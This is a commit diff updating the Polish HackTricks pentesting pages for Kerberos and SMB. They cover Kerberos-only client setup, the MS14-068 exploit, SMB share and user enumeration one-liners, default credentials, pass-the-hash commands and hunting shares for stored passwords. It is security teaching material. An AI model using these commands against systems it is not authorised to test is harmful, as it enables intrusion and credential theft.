Translated ['src/network-services-pentesting/pentesting-ssh.md', 'src/ne

This commit is contained in:
Translator 2025-09-29 09:35:52 +00:00
parent 7944763a06
commit 391cdf1a76
4 changed files with 427 additions and 295 deletions

View File

@ -4,18 +4,55 @@
## Podstawowe informacje ## Podstawowe informacje
**Kerberos** działa na zasadzie, w której autoryzuje użytkowników bez bezpośredniego zarządzania ich dostępem do zasobów. To ważne rozróżnienie, ponieważ podkreśla rolę protokołu w ramach bezpieczeństwa. **Kerberos** działa na zasadzie, że uwierzytelnia użytkowników bez bezpośredniego zarządzania ich dostępem do zasobów. To ważne rozróżnienie, ponieważ podkreśla rolę protokołu w ramach bezpieczeństwa.
W środowiskach takich jak **Active Directory**, **Kerberos** odgrywa kluczową rolę w ustalaniu tożsamości użytkowników poprzez weryfikację ich tajnych haseł. Proces ten zapewnia, że tożsamość każdego użytkownika jest potwierdzana przed interakcją z zasobami sieciowymi. Jednak **Kerberos** nie rozszerza swojej funkcjonalności na ocenę lub egzekwowanie uprawnień, jakie użytkownik ma do konkretnych zasobów lub usług. Zamiast tego zapewnia bezpieczny sposób autoryzacji użytkowników, co jest kluczowym pierwszym krokiem w procesie bezpieczeństwa. W środowiskach takich jak **Active Directory**, **Kerberos** odgrywa kluczową rolę w ustalaniu tożsamości użytkowników poprzez weryfikację ich tajnych haseł. Proces ten zapewnia potwierdzenie tożsamości każdego użytkownika zanim zacznie on korzystać z zasobów sieciowych. Jednak **Kerberos** nie rozszerza swojej funkcjonalności na ocenę ani egzekwowanie uprawnień użytkownika wobec konkretnych zasobów czy usług. Zamiast tego dostarcza bezpieczny sposób uwierzytelniania użytkowników, co jest istotnym pierwszym krokiem w procesie bezpieczeństwa.
Po autoryzacji przez **Kerberos**, proces podejmowania decyzji dotyczących dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, na podstawie informacji dostarczonych przez **Kerberos** o uprawnieniach użytkownika. Taki projekt pozwala na rozdzielenie zadań między autoryzację tożsamości użytkowników a zarządzanie ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne podejście do zarządzania zasobami w rozproszonych sieciach. Po uwierzytelnieniu przez **Kerberos**, proces decyzyjny dotyczący dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, bazując na informacjach dostarczonych przez **Kerberos** o przyznanych uprawnieniach. Takie rozdzielenie pozwala na oddzielenie kwestii uwierzytelniania tożsamości użytkowników od zarządzania ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne zarządzanie zasobami w sieciach rozproszonych.
**Domyślny port:** 88/tcp/udp **Domyślny port:** 88/tcp/udp
``` ```
PORT STATE SERVICE PORT STATE SERVICE
88/tcp open kerberos-sec 88/tcp open kerberos-sec
``` ```
### **Aby nauczyć się, jak nadużywać Kerberos, powinieneś przeczytać post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** ### **Aby nauczyć się, jak wykorzystywać Kerberos, przeczytaj wpis o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Środowiska oparte wyłącznie na Kerberos: przygotowanie klienta i rozwiązywanie problemów
Gdy NTLM jest wyłączony na usługach domenowych (SMB/WinRM/itd.), musisz uwierzytelnić się za pomocą Kerberos. Typowe pułapki i sprawdzony przebieg działań:
- Synchronizacja czasu jest obowiązkowa. Jeśli zegar hosta jest przesunięty o więcej niż kilka minut, zobaczysz `KRB_AP_ERR_SKEW` i wszystkie uwierzytelnienia Kerberos nie powiodą się. Synchronizuj z DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Wygeneruj poprawny krb5.conf dla docelowego realm/domeny. `netexec` (CME fork) może wygenerować go dla Ciebie podczas testowania SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Uzyskaj TGT i zweryfikuj ccache:
```bash
kinit <user>
klist
```
- Użyj Kerberos z narzędziami SMB (no passwords sent, używa twojego ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH logowanie jednokrotne (OpenSSH do Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Tips:
- Upewnij się, że Twój `/etc/hosts` rozwiązuje dokładny FQDN, do którego będziesz się łączyć przez SSH/SMB, oraz że znajduje się on przed jakimikolwiek gołymi wpisami domenowymi, jeśli nadpisujesz DNS. Niedopasowania SPN powodują awarie GSSAPI.
- Jeśli NTLM jest wyłączony na SMB, możesz zobaczyć `STATUS_NOT_SUPPORTED` przy próbach NTLM; dodaj `-k`, aby wymusić Kerberos.
## Więcej ## Więcej
@ -25,16 +62,23 @@ PORT STATE SERVICE
### MS14-068 ### MS14-068
Wada MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos legalnego użytkownika, aby fałszywie twierdzić o podwyższonych uprawnieniach, takich jak bycie administratorem domeny. To fałszywe roszczenie jest błędnie weryfikowane przez kontroler domeny, co umożliwia nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory. Luka MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos prawowitego użytkownika, aby fałszywie rościć sobie podwyższone uprawnienia, takie jak Domain Admin. To podrobione roszczenie jest błędnie zatwierdzane przez Domain Controller, umożliwiając nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory.
{{#ref}} {{#ref}}
https://adsecurity.org/?p=541 https://adsecurity.org/?p=541
{{#endref}} {{#endref}}
Inne exploity: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatyczne Komendy ## Źródła
- [NetExec (CME) wiki Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## Automatyczne polecenia HackTricks
``` ```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one. Port_Number: 88 #Comma separated if there is more than one.

View File

@ -4,44 +4,43 @@
## **Port 139** ## **Port 139**
_**System podstawowego wejścia/wyjścia sieci**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w sieci lokalnej (LAN) komunikację ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwoma aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**. _**Network Basic Input Output System**_** (NetBIOS)** jest protokołem programowym zaprojektowanym, aby umożliwić aplikacjom, komputerom PC i desktopom w sieci lokalnej (LAN) interakcję ze sprzętem sieciowym oraz **ułatwiać przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS pomiędzy dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wysyła polecenie "call" do innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**.
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
Technicznie Port 139 jest określany jako NBT over IP, natomiast Port 445 jest identyfikowany jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, które współcześnie jest również znane jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do udostępniania plików, drukarek, portów szeregowych oraz do realizowania różnych form komunikacji między węzłami w sieci. Technicznie, port 139 jest określany jako NBT over IP, podczas gdy port 445 identyfikowany jest jako SMB over IP. Akronim **SMB** oznacza **Server Message Blocks**, które współcześnie znane jest również jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest głównie wykorzystywany do udostępniania plików, drukarek, portów szeregowych oraz ułatwiania różnych form komunikacji między węzłami w sieci.
Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność użycia NetBIOS over TCP/IP, dzięki wykorzystaniu portu 445. Natomiast na innych systemach użycie portu 139 wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP. Na przykład, w kontekście Windows, podkreśla się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność stosowania NetBIOS over TCP/IP dzięki wykorzystaniu portu 445. Z kolei na innych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
``` ```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
``` ```
### SMB ### SMB
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, służy do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Używany głównie w rodzinie systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, pozwalając urządzeniom z nowszymi wersjami systemu Microsoft na bezproblemową interakcję z urządzeniami działającymi na starszych wersjach. Dodatkowo projekt **Samba** oferuje wolne oprogramowanie umożliwiające implementację SMB na systemach **Linux** i Unix, ułatwiając w ten sposób komunikację międzyplatformową przez SMB. Protokół **Server Message Block (SMB)**, działający w modelu **client-server**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w systemach operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu Microsoft płynną współpracę z tymi uruchamiającymi starsze wersje. Dodatkowo projekt **Samba** oferuje darmowe oprogramowanie, pozwalające na implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową przez SMB.
Udostępnienia (shares), reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępnione przez serwer SMB, dzięki czemu widok hierarchii dla klienta jest częściowo **niezależny** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, włączając atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisywane do poszczególnych użytkowników lub grup w zależności od udostępnień i są odrębne od lokalnych uprawnień ustawionych na serwerze. Udostępnienia, reprezentujące **dowolne części lokalnego systemu plików**, mogą być świadczone przez serwer SMB, przez co hierarchia widoczna dla klienta jest częściowo **niezależna** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, w tym atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisane poszczególnym użytkownikom lub grupom, w zależności od udostępnień, i są oddzielne od lokalnych uprawnień ustawionych na serwerze.
### IPC$ Share ### IPC$ Share
Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia uzyskanie: Dostęp do IPC$ share można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami udostępnionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Odpowiednio użyte, umożliwia pozyskanie:
- Informacje o systemie operacyjnym - Informacji o systemie operacyjnym
- Szczegóły dotyczące domeny nadrzędnej - Szczegółów dotyczących domeny nadrzędnej
- Lista lokalnych użytkowników i grup - Listy lokalnych użytkowników i grup
- Informacje o dostępnych udostępnieniach SMB - Informacji o dostępnych udostępnieniach SMB
- Obowiązującej polityki bezpieczeństwa systemu - Efektywnej polityki bezpieczeństwa systemu
Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa do oceny stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych luk oraz zapewnienia, że usługi SMB są odpowiednio zabezpieczone. Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa przy ocenie stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB docelowego systemu, co jest niezbędne do identyfikacji potencjalnych podatności i zapewnienia, że usługi SMB są właściwie zabezpieczone.
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`. Powyższe polecenie jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji przeciwko celowi określonemu przez `target_ip`.
## Czym jest NTLM ## Co to jest NTLM
Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużyć, bardzo ciekawa będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można go wykorzystać:**
Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużycia, bardzo przydatna będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można to wykorzystać:**
{{#ref}} {{#ref}}
../../windows-hardening/ntlm/ ../../windows-hardening/ntlm/
@ -49,16 +48,16 @@ Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby na
## **Enumeracja serwerów** ## **Enumeracja serwerów**
### **Skanowanie** sieci w poszukiwaniu hostów: ### **Scan** sieć w poszukiwaniu hostów:
```bash ```bash
nbtscan -r 192.168.0.1/24 nbtscan -r 192.168.0.1/24
``` ```
### Wersja serwera SMB ### Wersja serwera SMB
Aby szukać potencjalnych exploitów dla wersji SMB, ważne jest, aby znać używaną wersję. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz: Aby szukać możliwych exploits dla wersji SMB, ważne jest, aby znać, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
- Użyj pomocniczego modułu **MSF** `**auxiliary/scanner/smb/smb_version**` - Użyj **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Lub ten skrypt: - Albo ten skrypt:
```bash ```bash
#!/bin/sh #!/bin/sh
#Author: rewardone #Author: rewardone
@ -80,17 +79,17 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb searchsploit microsoft smb
``` ```
### **Możliwe** dane uwierzytelniające ### **Możliwe** Credentials
| **Nazwa użytkownika(ów)** | **Typowe hasła** | | **Username(s)** | **Common passwords** |
| ------------------------- | ---------------------------------------- | | -------------------- | ----------------------------------------- |
| _(puste)_ | _(puste)_ | | _(blank)_ | _(blank)_ |
| guest | _(puste)_ | | guest | _(blank)_ |
| Administrator, admin | _(puste)_, password, administrator, admin | | Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup | | arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin | | tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada | | backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo | | test, lab, demo | password, test, lab, demo |
### Brute Force ### Brute Force
@ -98,7 +97,7 @@ searchsploit microsoft smb
### Informacje o środowisku SMB ### Informacje o środowisku SMB
### Zdobywanie informacji ### Uzyskaj informacje
```bash ```bash
#Dump interesting information #Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP> enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -120,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
``` ```
### Wylicz użytkowników, grupy i zalogowanych użytkowników ### Enumeracja użytkowników, grup i zalogowanych użytkowników
Te informacje powinny już być zebrane przez enum4linux i enum4linux-ng Te informacje powinny być już zebrane przez enum4linux i enum4linux-ng.
```bash ```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -134,17 +133,17 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers enumdomusers
enumdomgroups enumdomgroups
``` ```
### Wyliczanie lokalnych użytkowników ### Wymień lokalnych użytkowników
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash ```bash
lookupsid.py -no-pass hostname.local lookupsid.py -no-pass hostname.local
``` ```
Oneliner Jednolinijkowy
```bash ```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
``` ```
### Metasploit - Enumeracja lokalnych użytkowników ### Metasploit - Enumerate local users
```bash ```bash
use auxiliary/scanner/smb/smb_lookupsid use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local set rhosts hostname.local
@ -157,13 +156,13 @@ run
rpcclient-enumeration.md rpcclient-enumeration.md
{{#endref}} {{#endref}}
### Połączenie GUI z linux ### Połączenie GUI z Linuxem
#### W terminalu: #### W terminalu:
`xdg-open smb://cascade.htb/` `xdg-open smb://cascade.htb/`
#### W oknie menedżera plików (nautilus, thunar, itp) #### W oknie przeglądarki plików (nautilus, thunar, itd.)
`smb://friendzone.htb/general/` `smb://friendzone.htb/general/`
@ -171,7 +170,7 @@ rpcclient-enumeration.md
### Lista udostępnionych folderów ### Lista udostępnionych folderów
Zaleca się zawsze sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**. Zawsze warto sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
```bash ```bash
smbclient --no-pass -L //<IP> # Null user smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +184,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
``` ```
### **Połącz/Wyświetl udostępniony folder** ### **Połącz/Listuj folder udostępniony**
```bash ```bash
#Connect using smbclient #Connect using smbclient
smbclient --no-pass //<IP>/<Folder> smbclient --no-pass //<IP>/<Folder>
@ -197,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
``` ```
### **Ręczne enumerowanie udziałów Windows i łączenie się z nimi** ### **Ręczne wyliczanie share windows i łączenie się z nimi**
Może się zdarzyć, że masz ograniczenia w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda jakby nie było żadnych udziałów do połączenia. Warto więc spróbować krótko ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED oraz NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy udział istnieje, ale nie masz do niego dostępu, albo udział w ogóle nie istnieje. Może się zdarzyć, że masz ograniczenia w wyświetlaniu jakichkolwiek share na hoście i gdy próbujesz je wypisać, wygląda to, jakby nie było żadnych share do połączenia. Warto więc krótko spróbować ręcznie połączyć się z share. Aby ręcznie wyliczyć share, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy share istnieje i nie masz do niego dostępu, albo że share w ogóle nie istnieje.
Typowe nazwy udziałów dla celów Windows to Typowe nazwy share dla celów windows to
- C$ - C$
- D$ - D$
@ -212,14 +211,14 @@ Typowe nazwy udziałów dla celów Windows to
- SYSVOL - SYSVOL
- NETLOGON - NETLOGON
(Typowe nazwy udziałów z _**Network Security Assessment 3rd edition**_) (Typowe nazwy share z _**Network Security Assessment 3rd edition**_)
Możesz spróbować połączyć się z nimi używając następującego polecenia Możesz spróbować połączyć się z nimi za pomocą następującego polecenia
```bash ```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
``` ```
lub ten script (używając null session) lub ten script (korzystając z null session)
```bash ```bash
#/bin/bash #/bin/bash
@ -238,10 +237,10 @@ done
``` ```
przykłady przykłady
```bash ```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **Wyliczanie udziałów w Windows bez użycia narzędzi firm trzecich** ### **Wypisz udziały w Windows / bez narzędzi firm trzecich**
PowerShell PowerShell
```bash ```bash
@ -253,7 +252,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers. # Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection Get-SmbConnection
``` ```
Konsola CMD konsola CMD
```shell ```shell
# List shares on the local computer # List shares on the local computer
net share net share
@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
``` ```
### **Pobieranie plików** ### **Pobieranie plików**
Przeczytaj wcześniejsze sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash. Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash.
```bash ```bash
#Search a file and download #Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -294,13 +293,13 @@ smbclient //<IP>/<share>
Polecenia: Polecenia:
- mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików) - mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików)
- recurse: przełącza rekursję (domyślnie: wyłączona) - recurse: przełącza rekurencję (domyślnie: off)
- prompt: wyłącza żądanie podawania nazw plików (domyślnie: włączone) - prompt: przełącza wyświetlanie monitów o nazwy plików (domyślnie: on)
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta - mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
(_Informacja z manpage programu smbclient_) (_Informacje z manpage smbclient_)
### Wyszukiwanie udostępnionych folderów domenowych ### Wyszukiwanie współdzielonych folderów w domenie
- [**Snaffler**](https://github.com/SnaffCon/Snaffler) - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash ```bash
@ -312,15 +311,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
Szczególnie interesujące w share'ach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać passwords** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Pliki **`web.config`** również mogą zawierać credentials. Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP] > [!TIP]
> **SYSVOL share** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Tam możesz **znaleźć** wiele różnych batch, VBScript i PowerShell **skryptów**.\ > The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> Powinieneś **sprawdzić** **skrypty** w nim, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **passwords**. > You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
## Odczyt rejestru ## Read Registry
Możesz być w stanie **odczytać rejestr** używając znalezionych poświadczeń. Impacket **`reg.py`** pozwala spróbować: Możesz być w stanie **odczytać rejestr** używając odkrytych poświadczeń. Impacket **`reg.py`** pozwala ci spróbować:
```bash ```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,35 +327,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
``` ```
## Post Exploitation ## Post Exploitation
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać kilka **niebezpiecznych ustawień**: Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne ustawienia**:
| **Ustawienie** | **Opis** | | **Setting** | **Description** |
| -------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Pozwala na wyświetlenie listy dostępnych udziałów? | | `browseable = yes` | Pozwala na wylistowanie dostępnych udziałów? |
| `read only = no` | Zabrania tworzenia i modyfikacji plików? | | `read only = no` | Zabrania tworzenia i modyfikacji plików? |
| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? | | `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? |
| `guest ok = yes` | Pozwala na połączenie z serwisem bez użycia hasła? | | `guest ok = yes` | Pozwala na połączenie z usługą bez użycia hasła? |
| `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? | | `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? |
| `create mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym plikom? | | `create mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych plików? |
| `directory mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym katalogom? | | `directory mask = 0777` | Jakie uprawnienia muszą być przypisane do nowo utworzonych katalogów? |
